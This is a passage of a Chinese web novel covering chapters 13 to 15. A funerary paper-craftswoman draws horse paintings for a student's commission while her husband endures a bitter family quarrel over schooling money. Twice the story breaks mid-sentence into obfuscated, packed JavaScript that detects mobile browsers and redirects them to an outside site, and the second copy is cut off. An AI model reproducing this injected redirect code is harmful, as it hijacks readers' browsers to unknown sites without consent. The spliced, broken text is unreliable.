“杜悯也算做件好事,又让你回来了。”孟母说。 “是要感谢他。”孟青高兴,她婚前从未奢望过她还能继续做她喜欢的事。 13.第十三章 孟春送杜黎坐上船之后,他去鱼市一趟,买三斤银鱼和五斤白虾送回去。 “爹,娘,你们在家帮我姐哄孩子,我去店里守着。”他说。 虽说人死不挑时辰不挑天气,但办丧事的人家在雨天很少买纸扎的明器,每逢阴雨天,店里的生意少得可怜。孟父不担心孟春一个人守不住店,他只交代说:“后院的阁楼不能开门开窗,里面的纸和布不能沾上水汽,会上潮。” “晓得。”孟春应一声走了。 雨天适合睡觉,孟青把孩子交给她爹娘看顾,她回屋睡觉,再醒来是孩子要吃奶。 孟母抱来孩子坐在她床边,见她还没清醒,手已经熟练地解开衣扣,她蓦地有些难受,“我还记得你当孩子的模样,一转眼,你已经成了我。” 说罢,她把孩子放下,人转身迅速出门。 没过多久,孟母调整好情绪又进来,她手上拿着一沓尿戒子,都是新裁剪的。 “这场雨不晓得要下几天,天不晴洗的尿戒子就干不了,我拿你弟的旧衣裳裁了二十来个尿戒子。”她把尿戒子放在床头,又问:“晚上我过来跟你睡?望舟夜里闹不闹觉?他闹的时候我来哄。” “他不闹,觉沉,就饿了会哭,有时候我给他换尿布,他都不带醒的。”孟青说。 “跟你小时候一样,不过你小时候更机灵,有尿知道哭,满五个月之后,尿戒子就没再湿过。”孟母很是怀念,“我那时候就跟你爹说,我跟他撞大运了,生了这么个机灵的丫头。你爹还遗憾你不是个小子,直到生了孟春,小子是有了,他又念叨生了个蠢才。” 这番话孟青听过不止一遍,每次听到都会笑,她再一次纠正:“我小弟可不是蠢才。” “是不是都养大了。”孟母也笑,她握住孩子的胖脚丫,叹气说:“以前不觉得,刚刚看你迷迷糊糊地喂养孩子,我心里突然不舒服,你都当娘了,日子过得真快。” “你生了我,我生了望舟,你养大我,我养大他,这是血脉传承,是好事。”孟青的眼睛看向门外,目光一转又落在孟母脸上,她振奋地说:“我们的日子在变好,以后会更好。” 她不贪恋过去,只期待未来。 孟母对她这个腔调已经熟悉了,她这个女儿也是奇怪,从小就有用不完的精力,好像对什么事都不会厌烦,是人都会抱怨,她不会,她不仅不抱怨,还会在旁人唏嘘感叹的时候大喊别丧气了我们还活着呢,活着就有希望、日子会更好…… “我去煮虾。”孟母拒绝跟她一起亢奋,“你醒了就起来,别又睡了,免得夜里睡不着又哐当哐当地跑去煮饭,闹得我们大半夜陪你吃早饭。” 孟青哈哈笑,“马上就起。” 外面的天已经昏了,孟母念叨说:“也不知道女婿到没到家。” “不到天黑到不了。”孟父说。 如孟父所说,杜黎在抵达杜家湾渡口时,天色已黑透,他身上的衣裳也湿透了,踩着一路的泥泞回家,进门就听他娘又在灶房敲敲打打地骂。 “娘,你们还没吃饭?” 杜母被乍起的声音吓了一跳,一转身看见他像个水鬼一样杵在门口,她顿时火大:“吃吃吃,就知道吃,家里被你们闹成这样子,还惦记着吃。” 杜黎不接话,他撂下一句多加两碗水,扭头回屋换衣裳。 吃饭的时候,杜黎不见他大嫂的身影,他疑惑道:“大哥,我大嫂呢?她不在家?” 杜明不理他。 “锦书,你娘呢?”杜黎问侄子。 “在屋里睡觉,我娘说她不吃饭。”锦书说。 “不吃饭就饿死她,做这样子给谁看?想吓唬谁?”杜母大声嚷嚷,生怕没露面的人听不见。 “她饿死了,你再给我花钱娶个媳妇,再给你孙子孙女讨个后娘。”杜明头也不抬地说,话里满是怨气。 杜父见又要吵起来,他摔筷子,怒声骂:“不吃饭给我滚出去,不想活了都给老子饿死,想翻天?” 饭桌上顿时安静了,除了出气声只剩筷子碰触碗沿的声音。 杜黎深吸一口气,他飘荡在外的神思顿时归位,这才是他从小长大的家,充满压制和斥骂。 吃过晚饭,杜黎鼓足勇气开口:“爹,娘,大哥,我有事跟你们说。” “又有什么事?”杜父不耐烦地问。 “以后村里人要是问起青娘,你们就说她是为照顾三弟饮食才回娘家住的,我们在船上的时候商量好了,以后孟家做好菜好饭的时候,青娘会给三弟送去一份。”杜黎撒个小谎,他心想下次见到杜悯跟他对一下口风,只要杜悯肯配合,孟青住在娘家照顾他饮食一事就板上钉钉了。 “真送还是假送?孟家做没做好饭好菜外人可不知道,她要是一个月送一次,可让她白捡个好名声。”杜母撇嘴。 “三弟回来你问三弟不就行了。”杜黎不咸不淡地说,“孟青有个好名声也碍不着谁,谁也不吃亏,倒是三弟是实实在在得到好处了。” 杜父误以为他是指杜悯靠孟家谋算商贾之利的事,他暴起打断:“行了啊,闭上你的狗嘴,惹出事我打死你。” 杜黎牙关紧咬。 杜明察觉到不对劲,“爹,你们是不是有事瞒着我?” “没事。”杜父拔腿就走。 杜母也张罗着收拾碗筷,她见巧妹刮盆底的稀粥,知道她要做什么,她哼了声,没有阻止。 但李红果没吃这碗稀粥,她连碗带筷子都给扔了,杜明跟她吵,她大声骂他窝囊,控诉她嫁给他八九年,她在杜家当牛做马,她在这个家不受待见,她的孩子也不受人待见…… 杜黎睡在隔壁听得一清二楚,大人争吵的骂声,孩子恐惧的哭声,一声声传进他耳朵里,他吓得打个激灵。如果他没有想方设法毁掉他爹娘看中的亲事,如果娶的媳妇不是孟青,今夜隔壁的咒骂声和孩子的哭声会在他这间屋日夜上演。 哭声持续了半夜,哭声停了,杜黎才睡。 第二天,雨还在下,李红果还是没露面,她依旧是饭不吃水不喝,躺在北屋里毫无动静。 第三天,李红果还是滴水不进,她饿得没力气了,说话声都带着虚弱。杜明怕她真饿死了,他往她嘴里塞吃的,她硬抠喉咙也要吐出来。 两个孩子吓得守在床边大哭。 杜黎去劝过一次,得到一声滚,他就不去插嘴了。他也是纳闷,他又没跟她发生过争执,李红果怎能还怨恨上他了。 第四天夜里,雨停了,杜黎听到隔壁的摔门声,他下床去开门,看见杜明去砸西厢的门。 “爹,娘,锦书娘要不行了。你们出来,给我个说法。”杜明喊。 杜父杜母慌张开门出来,“真不行了?” “对。”杜明眼含恨意地看着他们,“你们不信自己来看。” 杜黎也跟了进去,他站在门口望一眼,微弱的火光下,床上躺的女人面色蜡黄,一双眼睛半睁不睁,像是没魂了似的,任两个孩子怎么哭喊她都没反应。 “她要饿死了,再也不用吃杜家的饭了,你们高兴了吗?”杜明冷声发问。 “快去煮碗米粥给她灌下去。”杜父推杜母,这个时候了,他还在色厉内荏地骂:“你就是个蠢的?你媳妇这几天水米未进,你就不知道跟我们说?” “我屋里的哭声就没断过,你没听见?”杜明反问,他嘲讽道:“我以为你们是打算饿死她,再给我娶一个回来,也娶个商户女,要娘家有钱的,有钱的才值得你们看重。” 杜父气个仰倒,他跟老婆子都想着老大两口子闹这一出是在演戏,就是要逼他们服软。他们前脚才被老二媳妇拿捏住,后脚又见老大媳妇要死要活地要骑在他们头上,老两口哪肯就范。他们压根不信老大媳妇敢死,想着下雨天没事做,大不了让她在床上躺个十天半个月,就一直无视哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834782|175494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声和骂声。 杜黎记得他屋里还有麦芽糖,是孟家舅舅们拿来的,他回屋抓一把,让他娘先搅一碗糖水给他大嫂灌下去。 糖水端来,李红果咬紧牙关不肯喝,她如回光返照一样挣扎着坐了起来,搂着两个孩子说:“锦书,巧妹,你俩记好了,娘就是被你爷奶逼死的……” “行了!”杜父恼火地打断她的话,“不就是送锦书去念书,行,送,我剥皮卖肉也送他去学堂,我倒要看看你儿子能读出个什么名堂。” 李红果得到她想要的,她见好就收。 杜黎留意到他大哥面露得逞,他确定了,绝食是真,寻死是假。 他松口气,幸好没有真想不开。 杜明接过杜母手上的糖水碗,他扶着李红果喂她喝,“喝吧,锦书和巧妹还需要你。” 杜父甩袖子走了,杜母气不顺地去灶房熬粥,杜黎站在门口望着屋里的一家四口,心里只余唏嘘。 “你还不走?”杜明见他一直盯着,心里不免发虚,生怕被他看出什么。 “大哥,三弟今年十八岁,你训我十八年,小时候你骂我哭哭啼啼是装可怜,长大后骂我一点事要记一辈子。我一直不明白你是不是揣着明白装糊涂,今晚确定了。你瞧,你也受不了被偏心被忽视被不公平对待的滋味,刀子落在谁身上谁知道疼。”杜黎挺伤心的。 “你什么意思?”杜明继续装糊涂。 “你出去!”锦书突兀地开口。 杜黎笑了,“锦书,你也怨怪我?你可别恨我,你得谢我才是,没有我和你二婶,你可去不了私塾。” “我能去念书是我娘拿命换的。”锦书高声说。 杜黎不跟小孩子计较,他看向杜明,问:“锦书八岁了,之前你们两口子一直得过且过,这次的态度怎么这么坚决?是因为占惯便宜的人吃不了一点亏。大哥,以后可别再来我面前吆五喝六地训斥我,你私心太重,没资格教训我。” 说罢,杜黎离开,他径直回屋,他一个人坐在空荡荡的屋里,许久过后,他捂住脸深吸一口气,原来他从小到大受的委屈吃的亏,他的父母手足都是心知肚明的。 “老二,睡没睡?”杜母在门外问。 杜黎不理,杜母大力拍门。 杜黎拉开门,一言不发地盯着她。 杜母绕过他走进屋,她习惯性地吩咐:“我跟你说个事,家里的情况你也知道,供你三弟读书都够呛,没有余力再供锦书,你跟你媳妇商量商量,锦书的束脩她来出。” “她没钱。” “……”杜母咽下骂人的话,说:“少跟我说屁话,你让她先付几年的。你们放心,锦书不是念书的料子,过个几年他自己就不去读了。” “没有。”杜黎气得大喘气,他心里默念着反抗反抗反抗,他小时候要是懂这个道理,敢跟他大嫂一样豁出去,他肯定不会沦落到次次被牺牲的地步。 “不管她有没有,她都不会掏这笔钱,她的私房钱是给我儿子用的,不是给别人儿子用的。”杜黎明确地说,“谁的儿子谁出钱养,养不起就不让他念书。我三弟念了十二年的书,也该休息休息了,家里供不起他,就让他去开个私塾赚钱,攒够钱再去参加科举考试。” “你说的是人话?”杜母质问。 杜黎推她出去,“我是你生的,我是人还是畜牲你比谁都清楚。” 杜母反手扇他一巴掌,“该死的东西,这个家就是被你戳烂的,要不是你娶个扫把星回来,我们家还和和美美的。我当初怎么没把你饿死,我就该饿死你,保肚里的孩子。” “你终于说出来了,我也想你把我饿死,我死了,你能对我愧疚一辈子。”杜黎感觉手在发抖,牙也在发抖,他浑身发冷,想掉眼泪又觉得丢人,他想去找孟青,但又恐惧她也不能理解他。 他回屋关上门躺在床上发呆,门外的骂声什么时候停的他都不知道。 14.第十四章 “呦,出太阳了,天晴了。”孟母早起做饭,她开门见天上有霞光,是天要放晴的征兆,忙把晾在檐下的尿戒子都转移到院子里。 “她爹,别睡了,天晴了,你把湿的晾衣绳都解下来换成干的,床上铺的盖的都抱出去晒着。” 孟青醒来听到这话,她快手快脚地下床去开门,雨停了,太阳出来了,杜悯今日该带顾无夏登门了吧? “青娘,孩子醒没醒?叫你小弟把你床上的被褥抱出来晒。”孟父说。 孟母抱着脏衣裳从主屋出来,喊孟青和孟春把攒的脏衣裳也都拿出来。 下了四天的雨,被褥都是潮乎乎的,这种天洗的衣裳晾不干,还会长霉发臭,换下来的脏衣裳一直没敢洗,四个大人一个小孩收拾了两筐的脏衣裳。 “我要去河边抢捣衣的位置,早饭你们去外面买着吃。”孟母撂下一句话,挑着筐急匆匆走了。 孟父惦记着要去纸马店,他留孟春在家喂驴喂鸡收拾圈棚,“你们姐弟俩自己商量买什么饭吃,我去开店。” “爹,等等我,我也去。”孟青吐掉刷牙用的柳枝,她回屋抱起孩子,把装尿戒子的包袱给她爹拎着,父女俩一起出门。 位于儒林坊的崇文书院,顾无夏呼朋唤友喊上一船的同窗离开斋舍。 “杜小弟是个细心可靠的人,上个月我托他去磨他二哥的丈人,让孟匠人给我祖父定做一对纸马,事后这个事我都忘记了,他还替我记得清楚。这不,前几天他把他刚坐完月子的二嫂都请回来了,听说杜家二嫂扎纸活儿的手艺更好,你们陪我去看看。从纸马店出来,我们再去瑞光寺逛逛,再有两天是佛诞日,我去订一间房,佛诞日那天,我们一起去看法会。”顾无夏大包大揽道。 “顾兄,什么纸马值得你这么大费周章?能比得上陶马?”林荣轻蔑地瞥一眼杜悯,好一个狗腿子。 “陶俑只能在下葬的时候入墓陪葬,封坟之后祭拜先祖,再精致的陶马也送不过去。纸马不一样,纸马能拿到坟前焚烧,如烧纸钱一般送给亡人。”杜悯解释。 顾无夏点头,“清明节前,杜小弟邀我去瑞光寺,走到山下,他说他二嫂的娘家在此处,恰好他二嫂也住在娘家养胎,他路过要去打个招呼。出于礼节,我跟着前去探望,正好遇上一个香客带着小厮去取纸马,那对纸马十分高大,堪比真马,有骨有膘,我看过之后就生出也买一对烧给我祖父的念头。你们也知道,我祖父生前极爱马,还赠我两幅骏马图。他赠我两幅画,我回赠两匹马,说来他赚了。” 其他人面上赞他孝心可嘉,心里则在嘀咕他是被杜悯忽悠了,什么纸马,压根没听过。 船行至吴门渡口,一船七个人下船,杜悯打头,他熟门熟路领着一行人前往孟家纸马店。 “杜小弟,你前些日子做的策论可有眉目了?”顾无夏问。 “有眉目,但还未动笔。”杜悯回答。 “策论写好,能否让为兄先欣赏一下?谢夫子也是偏心,独独给你布置一篇策论,我要抢先在他前面过目。”顾无夏半真半假地玩笑。 “诸位兄台家中藏书众多,更不乏富有学识的长辈,但有不解,请教长辈或是翻阅书籍可解惑。小弟不同,小弟只有在写策论时遇到难点才会针对性借书翻阅。”杜悯苦心吹捧,他苦笑道:“我是主动请夫子给我布置策论,诸兄若是愿意共苦,他日小弟必将各位的心意转达。” “我无意。”林荣高声拒绝,“顾兄有意,你俩同甘共苦去吧。” 其他人纷纷拒绝,为完成夫子们日常布置的课业能要他们半条命,像杜悯这样额外索求课业的,书院里找不出几个人。 杜悯看向顾无夏,顾无夏恼得捶他一拳,他不敢点头答应,毕竟他不像杜悯,除了看书抄书无事可做,再多加一份课业于他是沉重的负担。 “算了,你的课业完成之后给我看看,我多看几遍相当是我也做了。”顾无夏终究是不甘心,说出这种上不了台面的话。 杜悯不能再推拒,只能忍着厌恶无奈答应。 之后的路程一路无话。 抵达瑞光寺山下,因佛诞日临近,为方便香客行路,和尚们在山下撒碎石铺路,周围铺子里的伙计和掌柜也都在帮忙,杜悯在人群中看到孟春。 顾无夏也看见了,“那不是你二嫂的兄弟?” “是他。”杜悯脚步不停,“纸马店应该还有人看守,我们直接过去。” 孟青在后院搓麻绳,孟父清点阁楼里的存货时翻出孟春小时候睡的逍遥车,竹床还是结实的,绳子腐了。她打算换根绳子,把逍遥车重新悬挂在檐下,让望舟躺里面睡觉。 “青娘,你小叔子带人来了。”孟父来喊。 “可算来了!”孟青松口气,她前去相迎。 “二嫂。”杜悯打招呼,他介绍道:“这就是顾无夏,你们见过的。” “顾学子,你祖父生前收藏的字画可带来了?”孟青开门见山地问。 顾无夏没想到她这么直接,开口就谈生意,他收回腹中酝酿的谢语,把两卷用油纸裹住的骏马图展开递给她。 孟青接过细看,画中马呈奔腾状,肌肉纹理遒健,鬃毛肆意飞扬,马脸神气十足。 “好画,落笔精妙。”孟青过足眼瘾,她恋恋不舍地挪开眼,“敢问这两幅骏马图是哪位俊才的真笔。” “据我祖父说是汉王李元昌早年随手所作,但因没落款也没有加盖印章,这一说法不能探明真假。不过是真是假都一样,我们家不会变卖字画,只做收藏,它们也无需用世俗的价值标榜。”顾无夏侃侃而谈。 孟青又看几眼,她思量道:“不知你是否介意我临摹两幅画,我临摹之后,你把骏马图拿走。这两幅骏马图太过贵重,放在我们店里我不安心,出点岔子,我们赔不起。” “你能临摹?”顾无夏惊讶。 “我女儿自幼喜欢作画,瑞光寺里的佛像和壁画,她都仿画过,跟真的没有区别。”孟父骄傲地说,“她就是投错胎了,但凡投胎到好人家,她会是一个才女。唉,是我们家拖累了她。” 杜悯听得眼皮子直跳,这话他可太熟悉了。 “口说无凭,杜阿嫂的练笔之作可还在?拿出来我们看看。”林荣说。 “对对对,拿出来我们看看,我们说好才是真的好。”同行的学子们应和。 孟父就等他们这话了,他把他今早从阁楼里抱下来的木箱打开,里面装的都是孟青从小到大画的画。 孟青瞟一眼,她没阻拦,她早年因为用不惯毛笔作画的丑画因上潮洇染笔墨已经毁了,能幸存下来的画,是在她制作炭笔之后所绘。 “这是用什么墨作画的?”杜悯捧着一张老牛图,如果他没认错,这画上的牛是他家养的老母牛,胸口磨损的秃毛和癍癞被刻意放大,磨损的短毛和癍癞上的痂纹走向都画出来了。 他仔细回忆,他接触过的墨没有这么坚硬的,用墨锭也画不出如此纤细的痕迹。 “不是墨,是炭沫压制的炭条。”孟青解释,“你们随意看,我去后院临摹骏马图。” “我们也去。”顾无夏担心他的藏画会被损坏,他得去盯着。 恰好孟春回来了,孟父安排孟春守店,他抱着木箱陪他们去后院。 纸马店前面是铺面,后面是个不大的小院,小院通向一栋二层高的阁楼,孟青就是在这里出生长大的。 杜悯进来看见孩子的尿戒子,他心里一个咯噔,在看见竹床里睡的小儿时,他要被吓晕了。他拧紧眉头,问:“二嫂,你怎么能把望舟带到这儿来?这、这铺子里堆放的都是明器,周边也是明器店,来往的客人还多是带孝的!小孩身弱,你就不怕冲撞到什么?” “你也不看看我们是在哪儿,山上就有寺庙,庙里供奉着佛祖,还有高僧坐镇,哪有不长眼的脏东西敢往这儿跑。”孟青是胎穿,她是相信人有灵魂,死后会投胎转世。但她小时候没见过鬼,接触丧葬行业的东西,她也没遇过邪门的事,只能归为是瑞光寺在此镇着。 孟父不高兴,他粗着嗓门说:“我在这儿养大了两个孩子,也不见冲撞过什么。” 杜悯懒得跟无知的人辩解。 “爹,你给我搬张桌子来。”孟青打岔,她又跟顾无夏他们说:“你们先看着,我去阁楼上拿纸笔。” 孟家父女俩都走了,林荣走近问:“杜兄弟,你家怎么跟这样的门户对亲家?” “我二哥二嫂两情相悦,我爹娘没有门户之见。”杜悯一副若有其事的模样。 林荣意味不明地笑一声,“看来我听说的消息不真,书院里竟有风言风语说你二哥娶个商户女是为给你攒上京赶考的路费。” 杜悯抬眼看他。 其他人专心致志地看孟青的画作,专注的样子堪比听大儒讲学,对外界的动静充耳不闻。 “既然是风言风语,当然是假的。”杜悯摇头笑一声。 孟父搬桌子过来,他问顾无夏:“顾学子,我女儿画的画还不错吧?” 顾无夏回神,“不错,这种画风我头一次见。” 孟青从阁楼上下来,她拿一沓黄麻纸,手上握着一杆陶管笔,她把骏马图铺开,观摩一阵后在空白的纸上落笔。 在场的人聚过来,绕桌一圈看她作画。 孟青最先画马身,再细画马腿……最后是马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟青笑一声,说:“这位学子脸生,我不曾见过,这个月月初,你是不是没去我夫家吃席?” “什么席?没去。”林荣回答。 “那就对了,你没见过杜悯二哥,我孩子他爹是他们兄弟三个当中长得最俊的一个,这么说你懂了吧?”孟青掩嘴一笑。 杜悯脑中紧绷的弦松开,但他脸色依旧难看,他绷着脸说:“林兄,你是男,我嫂是女,你是客,我嫂是主,望你谨守礼节,不要探问不该问的,你若再要冒犯,我只能请你离开。” 林荣不当回事,他草草一拱手,“还望杜家二嫂原谅我的失礼。” 孟青点头,她不再言语,一心投入在作画上。 临近晌午,第二张画完工。 “顾学子,我跟你说一下,做明器有个讲究,纸人画眼不点睛,纸马立足不扬鬃,画里的马在做纸马的时候,鬃毛得垂下去,不能扬起来。”孟青把第二张画递过去,“你看看,这幅画我把飞扬的马鬃去掉了,你要是没意见就按这幅画上的马做纸扎。” “要是有意见呢?”顾无夏问。 “有意见我不接这个活儿。你可以出门去旁边两家做陶制明器的明器铺打听打听,陶马也不能扬鬃,这是这行的讲究。” “什么讲究?”林荣追问,“做扬鬃的纸马会怎么样?” 孟青摆手,她不回答。 “还有一个事,纸马的骨和膘做出来之后,我需要你把这两幅骏马图再拿来,我按照画上的马上色。”孟青继续跟顾无夏说。 “这一对纸马要多少钱?”顾无夏问。 孟青喊她爹,她谨慎地不去插手议价的事。 “一对纸马定金六贯,取货的时候再补六贯。完工后你要是不满意,纸马可以不要,定金退一半。”孟父过来说。 “这么贵?六贯够买十匹陶马。”林荣又来插话。 “这位公子,明器不议价,这是行规。”孟青提醒他。 “一匹纸马肩比人高,等量的陶马可不止这个价,更何况那种规格的陶马非帝王将相不能用。”杜悯忍不住出声帮腔。 顾无夏不想在钱财上落面子,他豪气地说:“六贯就六贯,我明天让书童送钱来。” “可以。”孟父没意见。 “你是杜悯的同窗,我又是他二嫂,拐来抹去算是熟人了,纸马做成之后,你要是觉得哪里不是很满意,我无偿替你改一次。”孟青说。 顾无夏道谢,“那就麻烦了,为了我的事,累得你们夫妻分离,真是不好意思。” 孟青毫不客气地说:“还真是,你要不是杜悯的同窗,我还真不会接手这个活儿。我出嫁之后,纸马店里的生意我就不碰了。” 顾无夏再次道谢,待离开纸马店,他扶着杜悯的肩说:“走,我们去瑞光寺吃斋饭,这顿饭是为感谢杜兄弟。” 杜悯回头看一眼纸马店,依稀能看见孟青抱孩子的身影。 走进瑞光寺,杜悯说:“顾兄,你们先去,我去给我侄子请个护身符供在佛前。” 15.第 15 章 四月初七的傍晚,孟父收到顾无夏的书童送来的六贯定金,钱到手之后,孟青和孟春着手劈竹条扎骨架。 纸马骨架大,对竹子的要求高,竹子要是三到五年的青竹,砍断之后不能晒干只能阴干,阴干的竹子劈的竹条方能韧而不脆。 竹筒一劈两半,孟春从方凳上跳下来,他跟孟青各握半边竹往两个方向掰,竹竿唰的一声一劈到底。 “这个声音对劲。”孟春说。 孟青点头,竹子阴干到这个程度是最合用的。她拖走她手上的半边竹筒,拎个小马扎坐在太阳晒得到的地方,握着斧头将斧头刃卡进竹口,手腕用巧劲一撇一翘,斧头刃沿着豁口一路劈下去,一根竹条劈下来了。 如此反复,半边竹筒劈成八根竹条,再分别把八根竹条内侧的竹节削掉,打磨掉毛刺,这是劈竹的头一步。 对于孟家四口人来说,劈竹早已练成熟练的功夫,孟青在清明节前,纸扎店生意最好的时候,她一天能劈十根竹子。但今天她忙于给孩子喂奶、洗孩子的脏尿布、哄孩子睡觉、煮中饭做晚饭,一天就劈了三根半的竹子,还累得不得了。 吃晚饭的时候,孟青跟孟母说起这个事,她烦躁地说:“有个孩子真耽误事。” “不急,离六月十三还有两个月,你就是玩半个月,也能把两匹纸马扎好。你以带孩子为主,劈竹条扎骨架是你弟的活儿,你闲了去给他搭把手帮个忙,别傻得去跟他比谁劈得多。”孟母宽解她,她能理解这种做正事时时不时被打断的焦躁。 “明天是佛诞日,你跟孟春都歇一天,去瑞光寺看法会。”孟父提议,他还掏出两串铜板递过去,“你俩一人五十文,有什么想买的就买下来。” 孟青顿时眉开眼笑,她手快地拿过一串,还得寸进尺地问:“你外孙没份儿啊?” “明年再说,他现在吃不能吃,玩不能玩,给他的落你手上了。”孟父捋着胡子笑。 “落我手上又没便宜外人。”孟青嘀咕,她打趣道:“孟东家,你现在有点抠门啊。” “生意人抠门才能赚钱。”孟父乐于跟她斗嘴。 “你今天赚了多少钱?”孟青问起正经事,“今天生意不错吧?” “前几天下雨天剪的纸钱做的香烛都卖出去了,明天估计能把店里的存货都给卖了,两天下来估计能有三贯钱入账。”孟父说,他犹不满足:“可惜佛诞日一年就一次,佛诞日一过,寺庙这边的生意就要冷清下来了。” “正好腾出手做明器。爹,竹子要再进一批货。”孟青再一次提醒。 “晓得了,等佛诞日过去,我就去挑竹子。”孟父应下。 聊天过后,各回各屋里睡觉,也只有在这个时候,孟青才会想起杜黎,她拍着孩子的肚子,问:“你想不想你爹?” 望舟冲她咯咯笑。 “傻笑,谁在跟你笑……也不知道你爹想不想你。”孟青对现在的日子唯一的担心就是杜黎跟望舟长久分离,以后对望舟会没有感情。 * 佛诞日这天,孟青没有带望舟去看法会,瑞光寺的香火一年比一年旺盛,前来求神拜佛的香客里不乏患重病之人,望舟还太小,接触到脏东西容易生病。 她如前一日一样,孩子睡觉了她就劈竹条,同时心里也在琢磨怎么把这对纸马做得出彩。 佛诞日过后,纸马店的生意冷清下来,孟母腾出手替孟青哄孩子,她一门心思放在纸扎一事上。 竹条劈够一百五十根,孟青和孟春开始扎竹条做骨架,一根根竹条经火烤之后掰成合适的形状,再用麻绳捆绑。 七天之后,两匹马的骨架成型,壮膘之日,杜悯来访,他送来一个护身符和一柄巴掌大的桃木剑。 孟青看着护身符和桃木剑,她一脸复杂地问:“三弟,你知不知道桃木剑是道教的法器?” “知道,我去道观的时候特意请道长做的这柄桃木剑。二嫂,你只信佛不信道?”杜悯问,“你要是不信道,这柄桃木剑给锦书好了。” “家里一直供的是佛祖,我收个护身符吧,桃木剑你带回去给锦书。”孟青接过护身符,问:“你还去道观了?不怕佛祖怪你一心二用?” “我去道观是请教关于丧葬方面的事,我看佛经,发现佛教是反对具相祭祀的,《金刚经》说“凡有所相皆是虚妄”,佛教的教义是超度,是以积攒功德教化世人,超度的是罪恶,积攒的功德。从这方面来说,信佛的香客信奉的是灵魂的自由,而非灵魂在下界的享受,这跟我们将要推崇的焚烧明器赠与先人的做法不怎么相合。相反,道教的符箓科仪以及焚烧祭品可直达幽冥的教义,是适合用做支持焚烧祭品的依据。”杜悯背着手侃侃而谈,他饶有兴味地盯着孟青,说:“二嫂,你幼时若把目光放在道教的香客身上,孟家纸马店或许已经搬进城里的明器行了。” “我在道观没有熟人,跑去跟香客打交道,道观里的人不赶我?”孟青解释,“你觉得道教的教义更能支撑纸质明器被世人接受,你就用道教的教义阐述。不过有一点我想纠正你,佛教教化世人放下世俗的欲望,戒贪戒嗔戒痴,有几人能够做到?活着都受不了苦,死了就能?反正这些年我们纸马店的客人多是寺庙的香客,没人说死后要去冥界受罪的。教义是教义,世俗是世俗。只要你能说服世人相信明器通过焚烧送达阴间可变为实物供阴魂使用,道教和佛教的教义经文都能拿来用。” 杜悯垂眸,他思考片刻,脑中的迷雾渐渐散开,是他着相了,信佛的香客积攒功德是为下辈子投个好胎,这不是意味着他们一心追逐肉/体和灵魂的自由,而是更能证实这些人是深信人死后能投胎转世。如果死后不能立马投胎呢?阴魂游荡在阴间是想过简朴的日子,还有想要住在豪宅里有仆从伺候? “我知道该如何丰富策论的内容了,二嫂,我回书院了。”杜悯急切地要离开。 “桃木剑拿走。”孟青提醒他。 “给望舟拿着玩,这是我给他求的。”杜悯撂下一句话,头也不回地跑了。 孟春一直默默旁听,这时才开口说话:“他还挺有心。” “有心?同是侄子,他宁愿桃木剑搁这儿被我扔了,也没打算带回去送给锦书。”孟青摸下巴,“这算是有心吗?” “或许他给锦书另外准备的有。” 孟青摇头,“他要是有那个心,早给锦书求护身符了,他又不是今天头一次进寺庙。” 孟春顺着她的话想,杜悯更喜欢望舟?不可能,一个八岁的侄子,一个不足两个月的侄子,论感情也是对大侄子更有感情。 “他可能更亲近你,连带更看重望舟。”孟春笃定地说。 “他亲近望舟,是指望我能待他更好。”孟青下意识想到她手里握的把柄,之前她跟杜悯在船上争执过,他大概明白她不会把凭据给他,僵持下去于他不利,他选择求和。 不过她也不能否定杜悯的这份用心,感情是可以培养的,杜悯待望舟越用心,日后会越有感情。 “这岂不是正合你意,他亲近望舟,以后他就愿意多指点望舟念书。”孟春说。 孟青点头,她把护身符和桃木剑收起来,打算寻个明眼的地方挂着。 姐弟俩继续干活儿,纸马的体壮之态全靠壮膘,骨架是竹,肉膘是草,壮膘是选长短合宜的稻草缠着骨架上。马蹄的形状、马膝骨节的凸起都是用稻草缠绕而成,马腹薄而不瘦、马背壮而不肥、马臀丰盈有力的效果也靠稻草塑造。 壮膘之后,孟青拿钱去丝织行买一匹素白的绢布,绢布裹着稻草缠绕的骨架,束缚住冒头的稻草茬,一匹没有神态的纸马初有雏形。 “我出去买墨锭,你在家看好孩子。”孟青出门时交代孟春。 “我去买吧,你走了他要是饿了怎么办?”孟春说。 “我去,你不知道我想要什么样的墨锭,我很快就回来。” 孟青前脚离开,杜黎后脚就来 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“孟东家,来了啊。这是你要的七十根竹子,二十文一根,加上水运费,一共是一千五百文。”放排人说。 孟父递钱过去,他招呼脚夫下水拖竹子上来。 杜黎过来看见脚夫们下水,他跟着跳进水里,抱着竹竿往岸上拖。 渡口人多,孟父没注意到脚夫里多出一个人,他一心检查拖上岸的竹子是否有损伤。杜黎也没吭声,竹子拖上来,他一扭身又噗通一下迅速跳下水。 其他的脚夫看他如此卖力,他们也不好偷懒,免得坏了名声以后没活儿做。 直到七十根竹子都拖上岸,杜黎才走到孟父跟前喊一声爹。 孟父一抬头,看见湿得像水鬼一样的女婿,他看看他,又看看渡口被搅混的河水,“你……” “我听春弟说你雇人来抬竹子,我来帮忙。”杜黎尴尬地解释。 孟父:“……你真是个傻的,来了也不知道吭一声。” 杜黎笑笑,他掂起两根竹子扛在肩上,说:“爹,你在这儿守着,我扛竹子回去。” “扛回去了就别来了,叫青娘给你拿身衣裳换上。”孟父交代,他不放心地叮嘱:“记得别来了啊,我雇了人来干活儿,你别让我白给钱。” 杜黎这才应好。 “孟东家,你女婿啊?我还是头一次见,这男人心肠实在。”渡口的老监官说。 “对,是我女婿。”孟父点头,“他家里田地多,天天忙农活儿,没空闲过来长住,经常是吃顿饭就走了。” “有多少亩田地?” “二百四五十亩。” “那是不少。” 闲聊几句,孟父的目光移向河边的桥上,杜黎一个人扛着两根竹子走在桥上,竹子太长,一头拖在地上,他像拉犁的牛一样弯着腰背发力,湿漉漉的衣裳贴在他身上,瘦得像根棍。 